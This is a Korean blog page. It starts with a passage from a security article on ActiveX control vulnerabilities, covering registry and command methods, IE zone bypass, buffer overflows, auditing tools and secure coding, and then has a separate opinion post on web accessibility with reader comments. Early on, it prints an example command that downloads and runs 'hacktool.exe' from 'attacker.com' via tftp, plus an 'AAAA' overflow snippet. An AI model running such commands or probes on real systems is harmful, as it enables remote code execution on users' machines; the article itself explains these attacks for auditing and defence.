2. 시스템 자원에 대한 접근 방식

과거 C언어에서 System 함수와 같은 역할을 하는 Method를 과감히 사용하는 경우도 대단히 많이 존재하는데, SetRegistryValue, GetRegistryValue 등 레지스트리에 대한 직접적 조작이 가능한 Method는 잠재적으로 모두 취약할 가능성이 99.99%라고 보면 될 듯 싶다. 따라서 이러한 경우에는 아래와 같은 방식으로 간단히 공격용 도구를 시스템에 설치하고 실행시키는 방식이 존재한다.

 

ExeCommand(tftp i attacker.com GET hacktool.exe c:\hacktool.exe);

ExeCommand (c:\hacktool.exe);

 

3. 보안영역 접근 방식

일반적으로 IE는 현재 페이지의 보안영역에 따라 서로 다른 수준의 보안수준의 설정을 한다는 것을 알 수 있는데, 보안영역은 해당 페이지가 속한 도메인이 무엇인가에 따라 결정된다고 보면 된다. 이러한 영역구분은 인터넷 영역, 인트라넷 영역, 내컴퓨터 영역으로 구분된다.

 

인터넷 영역은 사실상 로컬자원에 대한 접근은 금지되며, 인트라넷 영역은 인터넷 영역과 마찬가지로 로컬 자원에 대한 접근이 금지된다. 내컴퓨터 영역에서는 file:///c:/test\test.html과 같이 파일시스템에서 직접 페이지를 열게 되는 경우에 접근이 가능한 영역이다. 따라서 공격자의 웹 페이지가 IE에서 인터넷 영역이 아닌 내컴퓨터 영역으로 인식되게끔 하는 기법들이 다수 선보이고 있다. 보통 Cross Zone, Cross Domain 관련 취약점으로 명명되고 있다.

 

 

[MS05-001 취약점 내역]

 

위의 그림에서는 ntshared.chm 파일을 오픈하게 되어 있었으나, 해당 페이지에 Javascript Injection하게 되면, 이때 실행되는 영역은 내컴퓨터 영역이므로, 로컬자원에 접근이 가능하게 된다.

 

4. Buffer Overflow 계열

기본적인 어플리케이션 취약점 유형이며, 사실상 이러한 취약점은 Method 또는 Property에 대한 조작이 가능하기 때문에 발생한다.

 

<OBJECT ID="update" WIDTH=0 HEIGHT=0

 CLASSID="CLSID:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA">

 

<PARAM NAME=pam1 VALUE=AAAAAAAAAAAAAAAAAAAAAAA>

 

</OBJECT>

 

<script>

 

           update.UpdateURL = "http://AAAAAAAAAAAAAAAAAAAAAA..................AA";

           update.CreateMenu(type:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;

 

</script>

 

이러한 문제점은 일반적이기도 하지만 의외로 상당수의 ActiveX 컨트롤에서 발견되는 취약점 유형이기도 하다.

 

그럼 지금부터는 이러한 ActiveX 컨트롤 취약점에 대한 진단을 어떻게 하는 것이 좋은지에 대해 알아보기로 한다. 사실상 ActiveX 컨트롤의 취약점에 대한 진단은 공격 방식을 거의 그대로 재연하는 과정이며, 이러한 과정을 토대로 ActiveX 컨트롤의 보안성 향상에 지속적인 감사(Audit)를 실시하는 것이 바람직하다.

 

1. OLEView를 이용한 ActiveX 컨트롤 정보의 수집

OLEView MS사 홈페이지에서 무료로 다운로드 가능하며, Visual Studio 또는 Resource Kit에도 포함되어 있으므로 쉽게 구할 수 있을 것이다. OLEView를 이용하게 되면, 컨트롤의 기본적 정보라고 할 수 있는 Method, Property, Help String 등에 대한 정보의 확인이 가능하다.

 

[OLEView 실행 화면]

 

따라서 위와 같이 OLEView를 실행하여, Method, Property내역을 토대로 대략적인 기능에 대한 파악이 가능하다. 이러한 것을 토대로 Mnemonic화된 Method, Property내역에서 위에서 언급된 취약점에 해당하는 Operation이 존재하는지의 여부를 선행 검토하도록 한다.

 

2. ActiveX 컨트롤 호출구조 분석

HTML이나 JavaScript, VBScript 등에서 ActiveX 컨트롤이 호출되는 구조를 분석하도록 한다. 이때는 일반적인 소스보기 기능을 이용하거나, 웹 프락시, 웹 디버거, DOM 분석기 등을 이용하면, 쉽게 구조에 대한 파악이 가능하게 된다.

 

[DOM Analyzer를 이용한 분석]

 

따라서 이러한 도구를 이용해 ActiveX 컨트롤 호출을 위한 Request, Response의 조작이 가능한지의 여부와 JavaScript의 조작이 가능한지의 여부에 대한 검토를 수행하여야 한다. 또한, <OBJECT> 자체에 대한 생성을 조작하거나 제어가 가능한지의 여부에 대한 검토는 반드시 필요하다.

[웹 디버거를 이용한 분석]

 

위의 경우에서처럼 웹디버거를 이용한 분석도 대단히 효과적인 방식을 제공하는데, MS의 스크립트 디버거 또는 Visual InterDev등의 웹 개발 도구를 이용하면, 효과적인 감사(Audit)가 가능하다. 웹 디버거는 일반적인 애플리케이션 개발용 디버거와 마찬가지로 실행 도중 스크립트 변수의 조작이 가능하고, Break-Point의 설정 또한 가능하여, 스텝 별로 꼼꼼한 감사가 가능하다. Object를 호출하는 경우에도 변수형태로 전달되는 경우, 그의 값을 쉽게 관찰 가능하며, 또한 동시에 디버깅이 가능하다.

 

3. 자동화 이용

최근에는 자동화를 통해 많이 알려진 ActiveX 컨트롤 관련 취약점을 찾아내는 도구들이 많이 선보이고 있는데, 주로 Fuzzer라고 불리는 도구들을 이용하면 된다. 대표적인 도구에는 COMRaider, AXFuzz, Hamachi 등이 있으며, 쉽게 구할 수 있으나, 이러한 Fuzzing 기법을 통해 취약점을 찾아내는 방식이 주로 취약점에 대한 무작위 대입(Brute Force)과 같은 방식을 이용하기 때문에 취약점의 발견 자체가 일종의 확률과 운에 좌우되는 경우도 존재한다는 점이 문제라고 볼 수 있으며, 이것은 자동화 방식이기 때문에 어쩔 수 없는 부분도 있다.

 

[COMRaider 실행 화면]

 

ActiveX 컨트롤 취약점에 대한 공격을 수행하다 보면, 각종 어드레스를 수작업으로 맞추어줘야 하는 부분도 존재하며, 이러한 선행 작업 이후에 공격이 성공할 수가 있는데, 아무래도 자동화 과정에서는 이러한 세밀한 공격의 가능성 여부를 완전하게 점검하는 것은 쉽지가 않은 일이다.

 

ActiveX 컨트롤을 개발할 때, 주의해야 할 점은 아래와 같다.

 

구분

주의할 점

컨트롤 실행

누구든지 내가 만든 컨트롤을 실행할 수 있다는 점을 명심하여야 하며, 이는 해당 컨트롤이 정상적인 사이트 뿐만이 아닌 공격자 사이트에서도 실행될 수 있다는 점을 인지해야 한다

설계

외부에 노출시킬 Method, Property를 설계할 때는 특히 로컬자원에 접근할 수 있는 지의 여부를 철저하게 검토하여야 한다. 또한, 이러한 Method, Property는 가급적 이용하지 않도록 한다.

코딩

ActiveX 컨트롤은 사실상 사용자가 공격자라는 보안적 측면을 고려하지 않으면 안 된다. 입력값에 대해서는 위조될 수 있다는 측면을 끊임없이 고민해야 하며, 해당 입력값의 필터링에 대한 대책은 설계 단계에서 미리 고민해야 한다

입력값에 대해서는 필터링과 동시에 Buffer Overflow에 대한 대책을 동시에 구현해야 한다

파일명을 비롯한 각종 설정값은 언제든지 변조 될 수 있다는 점을 고려해야 한다. 따라서 조작된 URL Filename에 대한 적절한 필터링 및 해당 값에 대한 검증 절차를 구현하는 것이 바람직 하다

도메인 제한

ActiveX 컨트롤이 특정 도메인에서만 실행된다면 이를 명시적으로 구현하는 것이 바람직하다. 따라서 해당 도메인에 대한 확인 절차를 부가적으로 구현하고 허가되지 않은 도메인에서의 실행에 대해서는 거절할 수 있도록 한다

Safe for Initialization, Safe for Scripting

ActiveX 컨트롤이 로컬자원에 접근할 수 있는 경우 Safe for Initialization, Safe for Scripting 카테고리에 추가하지 않아야 한다

 

흔히 개발자는 ActiveX 컨트롤이 개발환경에서 정의한 사이트에서만 실행 가능하다고 착각한 상태에서 릴리즈 하는 경우가 많은데, ActiveX 컨트롤은 정상적인 사이트뿐만이 아닌 공격자의 사이트에서도 실행될 수 있다는 점은 개발자가 항상 인지해야 하는 점이며, ActiveX를 쓰고자 하는 목적이 로컬자원에 접근해야 하는 점이라면, 이에 대한 대체통제적 구현을 별도로 구현해야 한다. 선의의 목적에서 개발한 개발자의 컨트롤이 공격자에 의해 오히려 공격의 시작지점이 된다면 곤란하지 않겠는가? 따라서 해당 로컬자원에 접근하는 명령어를 명확히 하거나, 특정 파일과 레지스트리에 대한 전체 접근을 허용하지 않도록 고려해야 한다. 내가 설계한 시스템 로컬권한 접근은 공격자도 가능하다는 점을 인지해야 한다.

 

ActiveX 컨트롤의 코딩 시에는 일반적인 어플리케이션 개발과 마찬가지로 각종 입력값에 대한 명확한 정의와 길이에 대한 체크가 필요로 하다. 또한, 특정 파일명이나 각종 설정값은 언제든지 조작될 수 있다는 가정하에서 개발에 임해야 한다. 따라서 이러한 절차에서는 각종 파일명이나 디렉터리에 대한 명확한 정의 및 각종 설정값에 대한 필터링은 기본적으로 구현하는 것이 바람직하다.

 

또한, 공격자는 ActiveX 컨트롤을 특정 도메인으로 제한하는 절차를 따르는 것이 바람직하다. 이것은 허락 없이 공격자나 악의적 목적에서 다른 사람이 컨트롤을 재사용하지 못하도록 하는데 유용하다. 이에 대한 상세한 내역은 http://support.microsoft.com/kb/q196061/을 참조하면 된다.

 

기본적으로 MFC ActiveX 컨트롤은 스크립트 사용에 안전(Safe for Scripting) 또는 초기화에 안전(Safe for Initialization)으로 표시되지 않으며, 이것은 보안 수준이 보통 이상으로 높게 설정된 IE에서 컨트롤을 실행할 때 볼 수 있다.( http://support.microsoft.com/kb/161873/ko) 따라서 이에 대한 내역으로는 컨트롤의 데이터가 안전하지 않거나 컨트롤이 스크립트를 사용하기에 안전하지 않을 수도 있다는 내용의 경고가 표시될 수 있으며, 이러한 오류를 없애기 위해서는 실제로 안전한 컨트롤에 대해서만 정말로 안전하다는 표기를 해야 하는데, 상세한 http://support.microsoft.com/kb/161873/ko 내역을 참조하도록 한다.

 

맺음말

 

TCP/IP를 몰라도 네트워크 프로그래밍을 할 수 있을 정도로 개발환경은 지속적인 진화를 거듭해 가고 있으며, ActiveX 컨트롤로 포장된 우리나라의 웹 서비스 수준과 이를 통한 실제 활용은 세계적이라고 할 수 있다. 실제로 2006 8월 달에 insidepolitics에서 발행된 자료(http://www.insidepolitics.org/egovt06int.pdf)를 보면 국가별 E-Government Ranking 순위가 발표되었는데, 대한민국 전자정부는 60.3점으로 1위를 차지했을 정도로 우리나라의 인터넷 환경은 자부심을 가져도 좋을 만큼의 놀라운 성장을 지속하고 있다.

 

하지만, 이 자료의 평가 기준 세부 내역을 연구해보면, Online Service, Publications, Databases, Privacy Policy, Security Policy, W3C Disability Accessibility1) 6개 항목으로 점수가 구분되어 있으며, W3C Disability Accessibility(장애인 접근성) 항목은 OECD 국가 29개국(EU 제외) 25위로써 거의 최하위라는 것을 알 수가 있는데, 이것은 사실상 국내의 웹 서비스 수준이 양적으로는 우수하지만, 다양한 웹 접근성 확보 측면에서는 사실상 낙제점을 받았다고 볼 수가 있으며, 이는 비단 전자정부뿐만이 아니라 일반적인 국내 웹 서비스 수준을 대변하는 지표로 해석될 수 있다고 본다.

 

웹 서비스를 위한 기반 기술이 서비스 품질 향상과 보안을 만족하는 형태로 나아가는 것이 바람직하다고 한다면, 이제는 서비스 철학이라는 한가지의 명제에 대해 더 고민해야 하는 시기가 왔다고 본다. 따라서 플랫폼에 의존적인 ActiveX와 같은 기술에서 벗어나고자 하는 노력을 이제부터라도 게을리해서는 안 된다고 생각한다. 기반기술의 선택은 단순히 구현 가능성 및 적용 편의성만을 고려하는 단계를 벗어나야 하며, 이제는 웹 서비스를 위한 좀 더 넓은 거시적 시각을 확보하는 것이 바람직하다. -끝-

 

 

1) 해당 문서에서 언급한 W3C Disability Accessibility 항목은 W3C(World Wide Web Consortium)의 표준(Guideline)을 충족하는 자동화 검사 도구(Bobby 5.0)를 이용하여, 웹 사이트의 컨텐츠 품질(Quality), 접근성(Accessibility), Privacy 항목에 대해 검사한 결과이며, 해당 항목은 장애인 접근성(Disability Accessibility)으로 해석이 되지만, 사실상 웹 접근성(Web Accessibility) 항목의 비중이 거의 대부분임.



신고
크리에이티브 커먼즈 라이선스
Creative Commons License

 
 
     ActiveX, ActiveX 컨트롤, security, 보안, 정보보호
     0   2
BlogIcon somma 2007.05.08 23:44 신고
재밌는 글 잘 보고 갑니다.
항상 느끼는 거지만 jerry 님은 글을 참 잘 쓰시는 것 같아요 ^^
멋지심다.
BlogIcon Jerry 2007.05.11 15:41 신고 
재미있게 보셨다니 다행입니다. 잡지사에서 좀 재미있게 써달라고 해서 이런저런 내용들을 주렁주렁 달아봤는데, 부족함을 많이 느끼게 됩니다.

아이디 
비밀번호 
홈페이지 
비밀글   

 

 

웹 접근성에 대한 소고
+   [Security]   |  2006.12.29 09:56  
“웹의 본질은 링크…” 뭐, 이 따위 교과서적인 이야기 하고 싶은 것은 아닙니다. 웹 접근성... 글쎄요... 현재 많은 이야기가 되고 있는 웹 접근성과 관련해서는 언론에서도 이제 많은 논의가 되고 있고, 심지어 웹 접근성을 무시하는 우리나라의 전자정부에 대해 소송을 준비하고 있는 움직임도 보입니다.

현재 소위 말하는 WEB 2.0 시대를 맞아, 제 개인적으로 "이런것은 좀 문제다"라고 보는 내역은 아래 몇가지 입니다. 기술적인 내용은 뺐습니다.

1. '퍼옴' 문화
2. 저작권
3. 다양한 사용자 환경 지원

1번과 관련해서는 POC 2006에서 Richard Stallman도 언급한바 있지만, 예를들어 DRM과 같은 보호 기술이 창작자를 보호하는 방법으로 생각되지만, 사실 DRM 기술로 돈을 버는 사람은 원작자가 아닌 유통경로의 사람들이라는 부분에 정말이지 공감합니다. 현실이 이러한 것을 이미 증명하고 있거든요. 실제로 소위 '펌' 문화는 창작자의 의욕을 상실하게 만드는 것이 분명하며, 우수 컨텐츠의 유통을 본질적으로 저하 시키는 주된 요인이 된다고 봅니다. IT쪽을 예로 들자면, 우수한 프로그래머들은 돈주고 살수도 없는 자신만의 Undocumented Programming Skill을 한 두개 이상은 갖고 있다고 봅니다. 그러나, 이렇게 소중한 자료가 공유가 되지 못하고 자신의 컴퓨터나 머리속에서 그냥 사라질 뿐 입니다. 공개를 왜 안하냐구요? 무슨 이득이 있어 공개를 합니까? 다른 사람이 그냥 퍼가고... 자신의 자료를 다른 사람의 홈페이지나 블로그에서 버젓이 봤을때, 그 상실감과 그 동안의 노력이 보상받을 수 있는 시스템이 전혀 없는데...

2번과 관련해서는 1번과 관련한 부수적 역기능이라고 보는데요, 어떤 사람이 오랜 시간과 정렬을 투자한 소중한 자료를 다른 사람이 버젓이 자신이 만든 자료인양 올려놓는 것은 물론이며, 이를 통해 경제적 이득까지 취하는 경우이죠. 다소 극단적인 예라고도 할 수 있겠지만, 현실적으로 벌어지는 문제이죠. Chester님이 이야기 하신 NHN 사례에 대해서도 좀 우울하지만 인정하지 않을 수 없습니다.

3번과 관련해서는 위에서 언급했던 국가를 상대로 한 소송 준비건에서도 알 수 있듯이, MS 독주체제라고 해야 하나요?  이 강력한 연결고리가 느슨해 지면서, 다양한 사용자 환경에 대한 서비스 요구가 증가하고 있는 실정입니다.

3번이 웹 접근성과 관련된 부분이라고 생각이 드는데, 사실 다양한 사용자 환경에 대한 서비스 요구가 증가하고 있는 것은 사실 당연한 것이며, Windows 운영체제가 지구상에 유일한 운영체제라는 것이 아닌 이상 당연한 요구라고 봅니다.

다만, 여기서 웹 접근성과 관련하여 중요하게 생각해야 할 점을 두가지 정도로 압축해 본다면...

1. 왜 처음부터 다양한 웹 접근 환경을 보장하지 않았는가?
2. ActiveX 기술이 MS의 기술이며, IE에서만 최적화를 보장하는데 왜 처음부터 이 기술이 광범위하게 사용되었는가?(특히 국내에서...)

라고 볼 수 있다고 봅니다.

첫번째 부분에 대해서는 과거 Netscape와 Internet Explorer(이하 'IE')가 경쟁하던 시절을 회상해야 하는데, NCSA의 Mosaic에서 출발한 Netscape는 당시로써는 지금의 우리나라 IE환경이라고 할 정도로 전세계적으로 압도적인 사용자를 가진 브라우저 였지요. 초기 인터넷 사용자의 거의 대부분은 느려터진 전화 모뎀과 Netscape를 아직도 기억하고 있을 겁니다. 문제는 Microsoft가 브라우저 시장에 뛰어 들면서 운영체제에 브라우저를 내장시키면서 일이 벌어 집니다. 이는 반독점 소송으로 이어졌고 2004년에 미국 항소법원은 MS와 정부간에 맺은 반독점 화의에 지지 입장을 표명하면서 결국 MS에 대해 강력한 제제를 요구한 소송이 MS의 사실상 승리로 막을 내리게 됩니다.
 
이 사건 이후 경쟁력을 상실한 Netscape는 종말을 맞이하게 되고, 이후 97년 10월부터 2002년까지 IE의 시장 점유율은 95%까지 상승하게 되는 계기가 됩니다. 무려 5년간이나 브라우저는 하나의 기업이 독점하는... 흔히 말하는 암흑기를 가치게 되는 것이죠. 98년에 Netscape는 그들의 브라우저 소스를 공개했고, 이것이 현재의 Mozilla가 있게 된 원인이 되는데, 바로 이 Mozilla 재단이 현재의 Firefox를 출시한 곳이 되는거죠.

문제는 암흑기가 너무도 길었다는 겁니다. 사실상 97년부터 2002년이라는 시기는 지금 사용하고 있는 대다수의 인터넷 환경이 자리를 잡아버린 시기였다는 것이죠. 97년에 PSTN 모뎀을 사용해서 Kbps 단위의 통신을 사용하던 이용자가 Mbps단위로 넘어가 버린 것도 이 시기이며, FTTC에서 FTTH로 넘어오게된 것도 이 시기 입니다. 이때는 국내에서도 은행 창구에서의 뱅킹 서비스보다 인터넷 뱅킹을 통한 서비스 사용자가 더 많아지게 된 시기이기도 합니다.

사실 이러한 시점과 시장 요인 및 기술의 진화적 관점에서 생각해 본다면, "왜 처음부터 다양한 웹 접근 환경을 보장하지 않았는가?"에 대한 해답이 나옵니다. 다양한 웹 접근 환경을 보장할 필요성이 없었기 때문이었죠. IE이외의 다른것이 없고, Linux 또는 MAC OS 사용자의 비율이 높아진 것도 아무리 빨라봐야 2000년 이후이기 때문에 개발자는 IE 이외의 브라우저에 대한 고민을 할 필요성이 없었던 거라고 봅니다.

자, 그럼 표준 문제가 남는데... 표준이라는 것도 사실 처음부터 없었던 것이고, 인터넷과 PC가 지금과 같이 인간Communication의 중심이 되리라고 장담하는 사람은 거의 없었습니다. 완전한 표준이 없었다면, 표준이 있더라도 인터넷 환경에서의 사용자의 요구와 욕구 해소에는 부족했었다면, 표준이라는 것은 결국 Power를 가지는... 다수의 사용자가 사용하는... 또한 유용한 기술을 선보이는 시장의 승자가 누리게되는 특권 아니던가요? MS는 승자였던 것 뿐입니다. 물론 앞으로 계속 지속될 가능성은 없어 보이는군요.

두번째 부분에 대해서는 사실 접근하기가 쉬운 것은 아닐 것 같습니다. 2000년 이후 인터넷은 단순히 정보의 공유 뿐만이 아닌 실 생활에서의 편의를 위한 엄청난 서비스들이 등장하게 되는데, 인터넷 뱅킹, 인터넷 결재, 홈쇼핑, 전자정부, 인터넷 게임 등 현대 사회에서 우리가 상상하는 대부분의 서비스가 이미 보편화 되어 있습니다. 일반적으로 볼때 웹 표준이라는 것을 준수하는 것은 솔직히 웹 표준이라는 철학적 통찰력이 있는 엔지니어만이 할 수 있는 영역은 아니라고 봅니다. 사실 누구나 웹 표준에 맞도록 구현할 수 있다는 뜻이죠.

근데, 현실은 그렇지 못한 것이 틀림없죠. 왜 그럴까요? 왜?

이 부분은 제 개인적으로는 웹 서비스의 진화과정에서 사용자의 인증과 보안이라는 부분을 결코 무시할 수가 없는 부분이라고 보는데, 인터넷은 TCP/IP라는 것과 사실상 동의어 입니다. 돌발 퀴즈 하나 내도록 하죠. ^^

TCP/IP에서 상대방이 보낸 패킷을 완전하게 신뢰할 수 있는가?
답은... "신뢰할 수 없다". TCP/IP를 아무리 뜯어봐도 상대방이 정말로 보냈는지를 알 수 있는 방법은 존재하지 않습니다.

이것이 안되기 때문에 IPv6가 나오게 되는 계기가 되는 것이고, 인터넷 뱅킹이나 결재, 전자정부, 홈쇼핑과 같이 당장 현실적으로 돈 문제나 증적이 중요한 서비스에서는 이것이 엄청난 문제가 됩니다. A라는 사람이 B라는 사람에게 100만원을 보냈는데, A라는 사람이 보냈다는 기술적, 법적 증거가 없다면... 당연히 문제가 되는 것이죠. 이 문제를 해결하기 위해 키 인증 기반의 PKI 인증이 도입되었는데, 기술적 배경을 이해하신다면 당연한 기술적 진화과정을 이해 하실 수 있다고 봅니다. 따라서 인증과 보안문제는 현대의 인터넷 환경에서 기존 인터넷 환경의 신뢰적인 접속 환경을 지켜나아갈 수 있는 열쇠와 같은 것 이었습니다.

바로 이러한 인증과 보안문제에서 부터 웹 접근성은 꼬여나아가기 시작합니다. '신뢰적 인터넷 환경'을 보장하려면, Server Side에서 보안성을 완전하게 지켜나아갈 수 있는 방법이 없었습니다. 지금도 없습니다. Server Side와 Client Side 모두에서 인증과 보안문제를 풀어나아갈 수 밖에 없는데, 이는 OS 자원에 대한 접근을 의미 합니다. 기존 인터넷 환경에서는 단방향 정보제공만으로도 가능했는데, 양방향 정보제공이 필요한 시점이 왔다는 것을 의미합니다. 간단히 뱅킹 사용자도 "내가 내 계좌의 주인이 맞다"는 정보를 거래하는 은행으로 뱅킹 서비스 이용시 인터넷을 통해 증명해야 한다는 것이죠.

OS 자원에 대한 접근 방법이 필요한 시점에서 MS는 ActiveX 기술을 선보이게 되는데, 이 기술이 97년 10월부터 2002년까지 IE의 세계 시장 점유율이 95%를 차지하는 시점이라는 점에 주목해야 합니다. 이 황금기에 정작 개발자가 OS 자원에 대한 접근 방법으로 사용해야 할 만한 기술이 ActiveX 기술이었습니다. 더군다나 세계 시장 점유율은 95%가 되었지만, 국내 시장에서는 그 이상이었다고 보는 것이 정확합니다.(제 경우에는 2006년 12월 현재 회사 홈페이지에 접근하는 비 IE 사용자의 비율은 0.2%에 불과 합니다. 정말 압도적이군요.)

웹 접근성에 대한 요구가 증가하는 현재의 시점은 Firefox 시장 점유율이 10% 이상이라고 하는데(좀 더 많지 않던가요? 흠...), 이는 IE이외의 사용자가 점차 증가하고 있다는 것을 의미하고, 이는 기존 서비스 제공자 입장에서는 참으로 곤혹스러운 현상임에는 틀림없다고 봅니다.

플러그인을 ActiveX가 아닌 자바로 만들면 어느정도 크로스플랫폼이 지원되지 않을까요? 다른것도 아닌 인터넷때문에 MS사 제품만을 써야 한다는 것은 상당히 문제가 있다고 생각합니다. (Source)
흔히 ActiveX 기술을 다른 기술로 대체할 수는 없는 것이냐? 는 질문을 많이들 하는데, 이 부분 역시도 이미 많은 분들이 고민해 오신 듯 합니다.

“ActiveX같은 것은 없어져야한다. Flash같은 것으로 대체되면 된다”

이를 조금 과장해서 다르게 이야기하면,

“ActiveX같은 것은 없어져야한다.(는 것은) ActiveX같은 것으로 대체되면 된다”고 이야기 하는 것과 같습니다. (Source)

웹 접근성에 문제가 되는 ActiveX와 같은 기술에서 본질적으로 문제가 되는 부분은 ActiveX 기술 그 자체가 아니라 어떤 방식이던지 간에 OS 자원에 대한 접근이 불가피한 인터넷 서비스의 현실에 있다는 것이 좀 더 정확한 문제라고 봅니다.

웹 서비스에 대한 접근성을 향후 다양한 방식에 의한 서비스를 대상으로 제공하는 것은 시대적인 필요성이 분명해 보입니다. 다만, 이를 좀 더 공론화 시키기 위해 정부를 상대로 소송을 건다던지, 기업을 상대로 비난을 한다던지... 이런 것들은 좀 무의미한 것 처럼 보이는 것이 제 시각이고, 사실 좀 냉소적 시각에서 보고있기도 합니다. 왜 애초부터 표준을 지키지 못하고 편리성을 위해 ActiveX로 떡칠을 해 놨느냐는 이야기는 "왜 그런 근시안적인 태도로 일관해 왔냐?"는 이야기로 들립니다. 쌤통이라는 이야기도 하시는 분들이 많습니다.

외국의 쇼핑몰들은 비스타가 나오건 어쩌건 상관없을텐데 말이지요.
그곳들은 원래부터 윈도우건 맥이건 리눅스건 가리지않고 멀쩡하게 잘 돌아갔으니까요...(Source)

외국의 쇼핑몰 중에 윈도우건 맥이건 리눅스건 가리지않고 멀쩡하게 잘 돌아가는 사이트가 존재한다면, 정말 환상적인 사이트이거나, 이 경우가 아니라면 이미 외국이나 국내에서 보안쪽에 엄청난 문제가 있다는 사실도 알아야 합니다. (Securityfocus 사이트를 한번 보시기 바랍니다.) 지금까지 인터넷을 통해 많은 수의 사용자가 은행에 들러 창구에서 소일을 하거나 서류하나 발급받기 위해 소중한 시간과 비용을 낭비했었던 현실을... 정말이지 많은 개발자들에 의해 제한된 범위해서나마 해소가 되었다면, 부족한 점이 있을지언정 마땅히 박수를 쳐주는 것이 옳다고 봅니다.

이들을 비난하는 분들은 5년후의 미래 인터넷 환경에 대한 완전한 예측이 가능한 분들인가요? 아니면, 단 1년 후에 대한 미래에 대한 완전한 예측이라도 가능한 분들인가요? 제 주변에 IT업계에 계시는 전문가들은 6개월 이후만이라도 정확한 예측이 가능했으면 좋겠다고 하시던데, 그분들은 다 바보들인가요? 플랫폼 독립적으로 동작 가능한 솔루션? 존재하긴 합니까? 존재한다면 현재 접근 모델과 비교하여 빠릅니까? 기존 서비스 아키텍처에 대한 변경 고려 없이 적용 가능한가요? 보안에 대한 문제는 없을까요? 전세계적으로 통용되는 Reference를 갖고 있는 안정적, 효율적 구조인가요? 다른 OS? LINUX와 MAC OS는 완전무결한가요? AJAX가 접근성 방해요소에 대한 완전한 대체 기술로 보안 문제에 대한 고려없이 사용 가능한가요? 웹 접근성을 위해 보안은 포기할까요?...

우리나라의 IT업계에서 종사하는 그 수많은 사람들이 결코 바보는 아니라고 봅니다.

웹 접근성을 향상시키는 것은 시대적 대세이고, 반드시 이루어야 할 지향점임에는 틀림없지만, 지금까지나마 노력해온 그들을 향해 "샘통이다", "철학도 없는 단순노동자", "미래에 대한 대책도 세워놓지 않은 무능력자" 취급하는 것은 문제가 있다고 봅니다. 또한, 이러한 것들을 개혁세력과 꼴통세력으로 구분하는 이분법적 행태도 솔직히 웃깁니다.

웹 접근성에 대해 말들이 많지만, 정당하지 못한 비판들과 논점을 벗어난 해석이 주류를 이루고 있는 것 같아 한번쯤은 이야기해 보고 싶었습니다.
 


신고
크리에이티브 커먼즈 라이선스
Creative Commons License

 
 
     security, Web 2.0, 보안, 웹 접근성, 웹 표준, 웹접근성, 웹표준, 전자정부
     0   6
BlogIcon ENTClic 2006.12.29 21:57 신고
좋은 글 잘 읽었습니다 ^^
저도 웹표준과 크로스플랫폼을 주장하고 있는 사람입니다.
비주류에 속해 있다보면 정말 국내 환경에 짜증이 엄청나지요..그러다보니 말이 좀 과격해질수도 있고 오버되는 경우가 있는 것 같아서 반성하고 있습니다.
민간 기업들이야 이해를 할려고 노력하지만 공공사이트에서 완전이 소수를 무시하는 것을 보면 내가 대한민국 국민 맞나 하는 안타까움을 많이 느낍니다.
똑같이 세금내고 당연한 해택은 못 받으니 열 좀 받지요..ㅎㅎ
법으로도 자기들이 만들어놓고 지키는 않는 정부는 세상 어디에도 없을 겁니다.
IT업계 종사자들의 문제보다는 정책을 잘 지키지도 않는 우리나라의 대표들이 더 문제가 큰 것 같아요 ^^
BlogIcon bluesman 2007.01.19 03:09 신고 
ENTClic님 블로그에서는 항상 새롭고 흥미진진한 부분에 대해 많이 언급해 주셔서 좋은 정보에 감탄하고 있습니다. 블로고스피어와 집단지성의 힘이라는 것에 일부 회의적인 시각도 있기는 합니다만, 저는 긍정의 힘에 의미를 부여하고 싶네요. 얼마전에 비스타 관련해서는 MS에 ActiveX를 허용해 달라는 요청까지 했다던데, 정말 굴욕 그 자체 입니다. 이 정도는 미리 예상할 수 있었던 일 아니었을까요? 비스타 한글판이 좀 있으면 나올텐데, 그나마 이게 빠른거다라고 해야 할까요? 우리나라 정부의 이런점은 정말 비판해야 한다고 봅니다. 뭐라도 무너지고 사람이 죽어나가야 대책을 세운다 말입니다. 정말 문제입니다.
BlogIcon drzekil 2007.01.18 23:28 신고
논리적이고 좋은 글 감사합니다..
제 의견을 말씀드리자면..
네트워크 상에서는 어떠한 방법을 사용하더라도 상대방을 100% 신뢰하는것은 불가능 합니다..
OS 자원에 대한 접근이라고 해봤자 양 끝단의 이야기일 뿐입니다.
네트워크의 특성상 가운데에서 가로채서 블라블라 해버리면 삐리리한 사태가 올 수 있는거죠..
액티브엑스 역시 완벽한 해결책은 되지 않습니다..

다른 이야기를 조금 해보면..
기업이랑 국가는 다릅니다.
기업은 다수를 상대로 장사할 수 있지만, 국가는 국민의 다수가 아닌 전부를 포용해야 한다고 생각합니다.
그 누구도 국가의 보호를 받을 기회를 받지 못해서는 안됩니다.
국가는 모든 국민을 보호하기 위해 노력해야 합니다.
대사관의 어이없는 행태가 욕을 먹는 이유도 그런 이유겠지요..
인터넷 접근성도 마찬가지 입니다.
10%이건, 5%이건 1% 미만이건..
서비스를 받을 기회조차 주어지지 않는다는것은 국가이기때문에 문제가 있다고 생각합니다.
국가가 너무 어이없는 행동을 하기에 분노가 치밀어 오르는것이지요..

개발자들에게 무슨 죄가 있겠습니까..
개발자들의 어려움을 잘 알고 있습니다..
단지 위에서 시키는대로 할 뿐인걸요..
BlogIcon bluesman 2007.01.19 03:03 신고 
소중한 지적 감사히 잘 받았습니다. 댓글을 달아보려 했으나, 대용이 너무 길어져서 정식으로 포스팅 했습니다. http://bluesman.tistory.com/56에서 확인하실 수 있으시겠습니다. ^^
BlogIcon youknowit 2007.02.01 23:03 신고
인터넷이 business를 위한 매체였다가(군사-> 포르노 -> 비지니스 일반), 이제는 보편적 역무, 특히 공공역무 제공의 매체로 까지 발전하였습니다.

비지니스 맥락에서 논의되는 '표준준수 권장' 문제와, 공공역무 제공이라는 맥락에서 요구되는 '보편적 역무제공 의무' 간에는 명백한 차이가 있다는 점을 보안업체에 근무하시는 분들이 이해하(신다면야 좋겠지만, 그럴게 하)실 필요까지는 없습니다.

그러나, 공공역무(공인인증서, 전자민원 등) 제공을 감독하고, 관련 법규를 집행하여야 할 정부(Regulator)가, 도대체 인터넷 기술도 모르고, 관련 법도 모르면서, 서비스 제공자(보안관련 업체, 공인인증기관 등)가 하는대로 무작정 방치하였기 때문에 사태가 이렇게 된 것입니다.

